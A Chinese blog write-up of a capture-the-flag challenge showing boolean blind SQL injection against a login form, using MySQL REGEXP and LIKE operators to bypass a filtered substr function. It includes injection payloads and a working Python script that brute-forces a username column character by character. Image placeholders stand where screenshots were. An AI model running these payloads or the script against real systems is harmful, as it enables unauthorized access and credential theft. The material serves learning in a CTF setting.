布尔盲注新姿势

前言:

之前的布尔盲注都是在很正常的情况下进行注入,这次做了一道布尔盲注的题目,学到了不少知识,记录一下。

0x00:regexp正则表达式注入

在这里插入图片描述
测试发现username=1' or 1=1#时回显密码错误,密码测试绕不过去,使用布尔盲注试试
在这里插入图片描述
没有反应,说明应该是substr函数被禁用了,那该怎么进行猜测,之前的方法都是通过这个函数进行截取然后判断,既然给禁用了就说明应该还有其他的函数可以进行猜测,查来查去发现:

MySQL 同样也支持其他正则表达式的匹配, MySQL中使用 REGEXP 操作符来进行正则表达式匹配
在这里插入图片描述

那尝试一下regexp,看看是否可以使用,使用爆破看看是否会出现密码错误,如果出现则说明这个函数是可以使用:

生成一个字典跑一下:
在这里插入图片描述
爆破发现,有两个长度确实不一样
在这里插入图片描述
故这函数是可以使用的,而且user()的第一个字符确实是u或U,最终爆出来是user
在这里插入图片描述
那么数据库也可以爆出来,但是这里测试了一下 order、select等函数都被禁用了,所以也就不用往下面测试了,就算得出了数据库也没办法进行下一步,到这里观察一下页面源码,发现:
在这里插入图片描述
这不是账号密码对应的字段吗?,直接通过这里就可以继续猜测:
在这里插入图片描述
爆破出一个字符便加进去继续爆破,爆破密码只需将字段给换了即可,登陆进行就是git泄露,后面的就不写了。

脚本如下:
在这里插入图片描述

0x01:SQL LIKE 操作符注入

之前看过大师傅的WP,也尝试了这个like操作符,就也来尝试一下
在这里插入图片描述
都是在字段中进行匹配看是否又对应的值,尝试一下:
在这里插入图片描述
发现是可以的,那将上面的脚本更改一下payload即可:

import string
import requests


url = 'http://6cb7a820708242519c095809f4e3a7469f362925822e434d.changame.ichunqiu.com/Challenges/login.php'
headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
#ascii_letters生成所有字母,digits生成所有数字0-9
payloads = string.ascii_letters + string.digits
temp = ''
for i in range(40):
    #爆破用户名或密码
    print("username:")
    for p in payloads:
        payload = temp + p
        #判断p3ss_w0rd字段中是否存在payload中所包含的字符
        #LIKE 操作符用于在 WHERE 子句中搜索列中的指定模式
        name = "admin' or user_n3me like '{}%' ;#".format(payload)
        data = dict(username=name, passwrod='test')
        res = requests.post(url, headers=headers, data=data)
        if (len(res.content) == 12):
            temp = temp + p
            #ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串
            print(temp.ljust(40, '.'))
            break
发布了71 篇原创文章 · 获赞 80 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_43431158/article/details/104455126